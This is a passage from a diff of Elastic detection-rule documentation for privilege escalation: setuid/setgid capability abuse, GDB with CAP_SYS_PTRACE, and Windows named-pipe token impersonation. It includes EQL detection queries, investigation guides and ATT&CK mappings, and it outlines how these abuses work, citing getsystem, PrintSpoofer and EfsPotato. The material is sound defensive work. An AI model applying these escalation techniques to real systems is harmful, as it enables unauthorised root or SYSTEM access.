exception list. +- Scheduled tasks or system updates that involve processes like update-notifier or dbus-daemon can cause false alerts. Consider excluding these parent process names from the detection rule. +- Automation tools such as Ansible or scripts executed by Python may inadvertently match the rule. Exclude command lines that match known automation patterns. +- Legitimate use of sudo or pkexec for administrative tasks can be misinterpreted as privilege escalation. Exclude these executables if they are part of regular administrative operations. +- Monitoring tools like osqueryd or saposcol might trigger the rule during normal operations. Add these process names to the exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified with CAP_SETUID or CAP_SETGID capabilities that have escalated privileges to root, ensuring no further exploitation occurs. +- Conduct a thorough review of the affected system's user and group configurations to identify and correct any misconfigurations that allowed the privilege escalation. +- Revoke unnecessary CAP_SETUID and CAP_SETGID capabilities from processes and users that do not require them, reducing the attack surface for future exploitation. +- Restore the affected system from a known good backup if unauthorized changes or persistent threats are detected, ensuring the system is returned to a secure state. +- Monitor the system and network for any signs of continued or attempted exploitation, using enhanced logging and alerting to detect similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name != null and + (process.thread.capabilities.effective : "CAP_SET?ID" or process.thread.capabilities.permitted : "CAP_SET?ID") and + user.id != "0" and not ( + process.parent.executable : ("/tmp/newroot/*", "/opt/carbonblack*") or + process.parent.executable in ( + "/opt/SolarWinds/Agent/bin/Plugins/JobEngine/SolarWinds.Agent.JobEngine.Plugin", "/usr/bin/vmware-toolbox-cmd", + "/usr/bin/dbus-daemon", "/usr/bin/update-notifier", "/usr/share/language-tools/language-options", + "/opt/SolarWinds/Agent/*", "/usr/local/sbin/lynis.sh", "/usr/libexec/sssd/sssd_be", + "/opt/sophos-spl/plugins/edr/bin/osqueryd.5", "/apps/dynatrace/oneagent/install/agent/lib64/oneagentos", + "/opt/SolarWinds/Agent/bin/Plugins/Discovery/SolarWinds.Agent.Discovery.Plugin", + "/usr/sbin/pcoip-agent", "/usr/bin/cubic", "/usr/lib/cockpit/cockpit-ws", + "/usr/lib/vmware/bin/vmware", "/usr/bin/vmware-fuseUI" + ) or + process.executable : ("/opt/dynatrace/*", "/tmp/newroot/*", "/opt/SolarWinds/Agent/*", "/snap/snapd/*/usr/lib/snapd/snap-confine") or + process.executable in ( + "/bin/fgrep", "/usr/bin/sudo", "/usr/bin/pkexec", "/usr/lib/cockpit/cockpit-session", "/usr/sbin/suexec", + "/usr/bin/at", "/usr/lib/pcoip-agent/pcoip-authentication-proxy" + ) or + process.parent.name in ("update-notifier", "language-options", "osqueryd", "saposcol", "dbus-daemon", "osqueryi", "sdbrun") or + process.command_line like ("sudo*BECOME-SUCCESS*", "/bin/sh*sapsysinfo.sh*", "sudo su", "sudo su -", "sudo -E -H bash -l") or + process.name in ("sudo", "fgrep", "lsb_release", "apt-update", "dbus-daemon-launch-helper", "man") or + process.parent.command_line like "/usr/bin/python*ansible*" or + process.working_directory like ("/opt/Elastic/Agent/data/*", "/usr/sap/tmp") or + process.args like ("/usr/bin/lsb_release*", "/bin/fgrep*") + )] + [process where host.os.type == "linux" and event.action == "uid_change" and event.type == "change" and + (process.thread.capabilities.effective : "CAP_SET?ID" or process.thread.capabilities.permitted : "CAP_SET?ID") + and user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-gdb-cap-sys-ptrace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-gdb-cap-sys-ptrace.asciidoc new file mode 100644 index 0000000000..b435171a73 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-gdb-cap-sys-ptrace.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-privilege-escalation-via-gdb-cap-sys-ptrace]] +=== Privilege Escalation via GDB CAP_SYS_PTRACE + +Identifies instances where GDB (granted the CAP_SYS_PTRACE capability) is executed, after which the user's access is elevated to UID/GID 0 (root). In Linux, the CAP_SYS_PTRACE capability grants a process the ability to use the ptrace system call, which is typically used for debugging and allows the process to trace and control other processes. Attackers may leverage this capability to hook and inject into a process that is running with root permissions in order to escalate their privileges to root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via GDB CAP_SYS_PTRACE* + + +The CAP_SYS_PTRACE capability in Linux allows processes to trace and control other processes, a feature primarily used for debugging. Adversaries can exploit this by using GDB with this capability to inject code into processes running as root, thereby escalating privileges. The detection rule identifies such abuse by monitoring sequences where GDB is executed with CAP_SYS_PTRACE, followed by a process running as root, indicating potential privilege escalation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host and process entity ID where the GDB execution with CAP_SYS_PTRACE was detected. +- Examine the process tree on the affected host to determine the parent process of GDB and any child processes it may have spawned, focusing on any processes running as root. +- Check the user account associated with the GDB execution to verify if it is a legitimate user and assess if there are any indications of compromise or misuse. +- Investigate the timeline of events around the alert to identify any preceding or subsequent suspicious activities, such as unauthorized access attempts or changes in user privileges. +- Analyze system logs and audit records for any signs of unauthorized access or privilege escalation attempts, particularly focusing on the time window specified by the maxspan of 1 minute in the query. +- Correlate the findings with other security alerts or incidents on the same host to determine if this event is part of a larger attack campaign. + + +*False positive analysis* + + +- Development environments where GDB is frequently used for legitimate debugging purposes may trigger false positives. To mitigate this, consider excluding specific user accounts or processes that are known to use GDB regularly for debugging. +- Automated testing systems that utilize GDB for testing applications with elevated privileges might be flagged. Implement exceptions for these systems by identifying and excluding their specific process names or user IDs. +- Security tools or monitoring solutions that use GDB with CAP_SYS_PTRACE for legitimate monitoring or analysis tasks can cause false alerts. Review and whitelist these tools by their process names or associated user accounts. +- System administrators or developers who have legitimate reasons to use GDB with elevated capabilities should be identified, and their activities should be excluded from the rule to prevent unnecessary alerts. +- Scheduled maintenance scripts that involve GDB for system diagnostics or performance tuning may be misinterpreted as malicious. Exclude these scripts by their execution schedule or specific identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as running with elevated privileges, especially those involving GDB with CAP_SYS_PTRACE. +- Revoke CAP_SYS_PTRACE capability from non-essential users and processes to limit potential abuse. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized privilege escalations have occurred. +- Restore the affected system from a known good backup if any unauthorized changes or code injections are detected. +- Monitor the affected and related systems for any signs of persistence mechanisms or further malicious activity. +- Report the incident to the appropriate internal security team or authority for further investigation and potential escalation if necessary. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entry_leader.entity_id with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "gdb" and + (process.thread.capabilities.effective : "CAP_SYS_PTRACE" or process.thread.capabilities.permitted : "CAP_SYS_PTRACE") and + user.id != "0"] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name != null and user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-named-pipe-impersonation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-named-pipe-impersonation.asciidoc new file mode 100644 index 0000000000..853339dbdc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-named-pipe-impersonation.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-privilege-escalation-via-named-pipe-impersonation]] +=== Privilege Escalation via Named Pipe Impersonation + +Identifies a privilege escalation attempt via named pipe impersonation. An adversary may abuse this technique by utilizing a framework such as Metasploit's meterpreter getsystem command. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation +* https://www.cobaltstrike.com/blog/what-happens-when-i-type-getsystem/ +* https://redcanary.com/blog/getsystem-offsec/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Privilege Escalation via Named Pipe Impersonation* + + + +*Possible investigation steps* + + +- Did the alert process act as a named-pipe client for a SYSTEM-token handoff? + - Why: GetSystem-style abuse pairs a service-context client with a named-pipe server so the server can impersonate the client token; the shell pipe-write is the client-side marker. + - Focus: `process.name`, `process.pe.original_file_name`, `process.command_line`, `host.id`, and `user.id`. + - Implication: escalate when cmd or PowerShell sends a short marker into a named pipe before token impersonation; lower suspicion only when the same pipe name, marker, host, and user match a stable validation pattern. +- Does the parent and token context fit a service-driven impersonation attempt? + - Focus: `process.parent.name`, `process.parent.command_line`, broader process lineage when needed, `process.Ext.token.integrity_level_name`, and `process.Ext.token.elevation_level`. !{investigate{"description":"","label":"Process starts on the host near the pipe write","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when services.exe, service-creation command lines, or an unexplained launcher starts the pipe write under high or SYSTEM context; absent or ambiguous token context cannot close the alert without matching identity and follow-on evidence. +- Is the launching binary the expected Windows shell or a masqueraded copy? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the shell runs from a user-writable or deceptive path, has an untrusted signer, or mismatches its original file name; signed System32 cmd or PowerShell confirms identity only and does not clear the pipe-write behavior. +- Did the pipe writer launch or enable follow-on SYSTEM activity? + - Focus: child process events from `process.entity_id`; review `process.name`, `process.command_line`, and `process.Ext.token.integrity_level_name`. !{investigate{"description":"","label":"Child process starts from the pipe writer","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when a shell, tool, service helper, or credential-access process follows under high or SYSTEM integrity; absence of child process evidence lowers only follow-on confidence when pipe syntax or service parentage remains suspicious. + - Hint: if `process.entity_id` is unavailable, use `host.id` plus `process.pid` in a tight alert-time window and treat matches as weaker. +- Is this isolated, or part of repeated named-pipe impersonation behavior? + - Focus: process starts sharing `host.id` or `user.id`, marker behavior in `process.command_line`, and either `process.parent.name` or `process.hash.sha256`. + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when repeats cross hosts, users, hashes, or parent chains; keep response local only when all repeats stay inside the same process-evidenced validation pattern. + - Range: start with the alert window; expand only if local evidence is suspicious or unresolved. +- Escalate on suspicious pipe-write syntax, parent/token context, binary identity, follow-on process activity, or host/user scope; close only when all evidence matches a stable validation pattern with no contradictions; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Routine administration should not require shell echo redirection into a named pipe for privilege escalation. Controlled security validation is the narrow benign path; process evidence must prove the exact pattern: + - **Identity**: `process.executable`, `process.hash.sha256`, signer, and `process.parent.command_line` match the validation toolchain. + - **Pipe syntax**: `process.command_line` shows the expected pipe name, echo value, and wrapper syntax for that test. + - **Scope**: `host.id` and `user.id` stay inside the known test target and operator scope. + - **Follow-on**: child process starts do not show unexpected high or SYSTEM activity outside the test plan. + - If telemetry cannot prove the test scope or toolchain, outside confirmation can corroborate the case but cannot override contradictory process evidence; otherwise preserve and escalate. +- Build exceptions only from the minimum confirmed validation pattern: stable `process.hash.sha256`, `process.executable`, `process.parent.command_line`, constrained `host.id` or `user.id`, and the specific pipe-write shape in `process.command_line`. Avoid exceptions on `process.name`, cmd or PowerShell alone, or a pipe name alone. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse any temporary containment and document the evidence that confirmed the validation workflow: pipe syntax, parent/token context, binary identity, `host.id`, `user.id`, and lack of unexpected follow-on SYSTEM activity. +- If suspicious but unconfirmed: + - Preserve the alert, process tree, command lines, parent and child process records, `process.entity_id`, `process.pid`, hashes, and the named-pipe string before termination, cleanup, or credential actions. + - Apply reversible containment tied to the findings, such as isolating the endpoint after weighing host criticality or restricting the affected account/session while investigation continues. + - Do not terminate cmd, PowerShell, or child processes until the process identifiers, command lines, and any volatile state needed by responders are captured. +- If confirmed malicious: + - Isolate the endpoint after preservation when parent/token, identity, or follow-on process evidence confirms unauthorized SYSTEM activity. + - Suspend or terminate the pipe writer and follow-on processes only after recording their entity IDs, PIDs, command lines, hashes, and parent relationships. + - Reset credentials or revoke sessions for affected users only when process/session evidence indicates account misuse or credential exposure. + - Eradicate only malicious tools, service definitions, binaries, scripts, and configuration changes confirmed during the investigation, then remediate the entry vector that allowed the named-pipe impersonation attempt. +- Post-incident hardening: + - Restrict local admin and service-creation rights that allow untrusted tooling to create SYSTEM service clients. + - Retain command-line, parent/child process, and token-integrity telemetry because those fields distinguish testing from GetSystem abuse. + - Document the confirmed benign validation pattern or malicious artifact set so future analysts can separate repeat testing from repeat abuse. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : ("Cmd.Exe", "PowerShell.EXE") or ?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE")) and + process.args : "echo" and process.args : ">" and process.args : "\\\\.\\pipe\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-rogue-named-pipe-impersonation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-rogue-named-pipe-impersonation.asciidoc new file mode 100644 index 0000000000..921f468f3a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-rogue-named-pipe-impersonation.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-privilege-escalation-via-rogue-named-pipe-impersonation]] +=== Privilege Escalation via Rogue Named Pipe Impersonation + +Identifies a privilege escalation attempt via rogue named pipe impersonation. An adversary may abuse this technique by masquerading as a known named pipe and manipulating a privileged process to connect to it. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ +* https://github.com/zcgonvh/EfsPotato +* https://twitter.com/SBousseaden/status/1429530155291193354 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Privilege Escalation via Rogue Named Pipe Impersonation* + + + +*Possible investigation steps* + + +- What rogue pipe path did the alert preserve? + - Why: the rule references PrintSpoofer and EfsPotato-style abuse, where a controlled pipe can be hidden inside a path that makes a privileged service connect to what appears to be its normal RPC pipe. + - Focus: alert-local `file.name`, `file.path`, or `winlog.event_data.PipeName`, with `event.provider` and `event.code`. + - Implication: escalate when the path embeds `\pipe\` after another path segment or mimics a service/RPC pipe tail; benign starts only when exact namespace, creator path, command line, account, and client evidence fit one repeated local IPC workflow on this `host.id`. +- Which process and account created the suspicious pipe? + - Focus: same-host creator `process.executable`, `process.command_line`, `user.name`, and `user.domain`. + - Implication: escalate when a service, web worker, script host, or user-writable binary creates the pipe under a low-privileged service identity or account that should not host IPC servers; service-mimic pipe plus suspicious creator is enough while collecting client and impact evidence. + - Hint: pivot by `process.entity_id`; if absent, pair `process.pid` with `host.id` in a tight window. !{investigate{"description":"","label":"Events for the pipe creator process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} +- Do surrounding events corroborate the creator or show a privileged client? + - Focus: same-host Sysmon or Windows records for the same `file.name` or `winlog.event_data.PipeName`, reading `event.code`; pipe-connected events, when ingested, corroborate. + - Hint: same pipe events on the host. !{investigate{"description":"","label":"Events for the same pipe on this host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.name","queryType":"phrase","value":"{{file.name}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.PipeName","queryType":"phrase","value":"{{winlog.event_data.PipeName}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when surrounding records show the same creator maintaining the pipe or, if pipe-connected events exist, a SYSTEM, administrator, service-host, or service/RPC client touching it. Missing pipe-connect telemetry is unresolved, not benign. + - Range: alert window plus +/-5 minutes; expand only if the creator lived longer. +- Was the pipe followed by elevated execution or token/session abuse? + - Focus: same-host process starts after pipe creation: `process.executable`, `process.command_line`, `user.name`, and `winlog.event_data.ElevatedToken` when Windows Security has token context. + - Hint: process starts on the host around pipe creation. !{investigate{"description":"","label":"Process starts on the host near the pipe creation","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: elevated shell, script, service-control, SYSTEM, administrator, or elevated-token activity confirms impact; absence lowers impact only after the pipe path, creator, and client evidence fit one recognized workflow. Missing process-start or token telemetry is unresolved, not benign. +- Does the same rogue-pipe pattern show wider tooling or repeated attempts? + - Focus: broaden only after suspicious or unresolved local evidence, using the suspicious `file.name` or `winlog.event_data.PipeName` pattern, creator `process.executable`, `host.id`, and `user.id`. + - Hint: same pipe name or creator executable across recent events. !{investigate{"description":"","label":"Events for the same pipe or creator executable","providers":[[{"excluded":false,"field":"file.name","queryType":"phrase","value":"{{file.name}}","valueType":"string"}],[{"excluded":false,"field":"winlog.event_data.PipeName","queryType":"phrase","value":"{{winlog.event_data.PipeName}}","valueType":"string"}],[{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand scope when the same embedded-pipe pattern, service/RPC-like tail, or creator executable appears across unrelated hosts or users; no recurrence limits scope but does not close the alert. +- Escalate when pipe shape plus creator, client, or follow-on evidence supports impersonation; close only when available evidence aligns to one recognized IPC product or authorized test with no contradictory privileged-client or elevated-execution evidence; preserve evidence and escalate when telemetry is missing, mixed, or incomplete. + + +*False positive analysis* + + +- Recognized local IPC products, security tools, or in-house services can trigger when they use nested pipe namespaces with `\pipe\`. Confirm the exact namespace, creator path and command line, account, client process, and host cohort align to the same product, with no elevated follow-on outside that workflow. +- Authorized exploit validation can trigger this rule. Confirm test host, test account, time window, pipe namespace, and launched command match the test plan; privileged-client or elevated-execution evidence beyond the plan is suspicious. +- Build exceptions from the minimum confirmed workflow: exact pipe namespace or stable prefix, creator `process.executable` plus command-line pattern, expected `user.id`, and constrained `host.id` or host group. Avoid broad exceptions on `process.name`, service-like pipe tails, or generic `\pipe\`. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the pipe namespace, creator process, account, client process, host scope, and absence of unexpected elevated follow-on activity. +- If suspicious but unconfirmed, preserve the alert record, relevant Timeline events, `file.name` or `winlog.event_data.PipeName`, creator `process.entity_id` or `process.pid`, process command lines, Windows Security records, and any spawned process identifiers before containment. +- Apply reversible containment before destructive action: isolate or restrict the affected host only when pipe, creator, client, or follow-on evidence indicates active abuse, and weigh critical host roles before isolation. +- If confirmed malicious, contain the host and involved account, then terminate or suspend malicious processes only after preserving identifiers and command lines. Reset credentials only when Windows Security or process evidence shows account misuse or exposed privileged sessions. +- Eradicate only the exploit tools, scripts, service changes, or payloads identified during the investigation, then address the entry vector that let the creator process run with impersonation-capable privileges. +- Post-incident, restrict the privileged service or service account that the investigation showed was coerced or exposed to unnecessary impersonation-capable privileges. + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-pipe-setup + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and + event.provider == "Microsoft-Windows-Sysmon" and + + /* Named Pipe Creation */ + event.code == "17" and + + /* Sysmon truncates the "Pipe" keyword in normal named pipe creation events */ + file.name : "\\*\\Pipe\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: 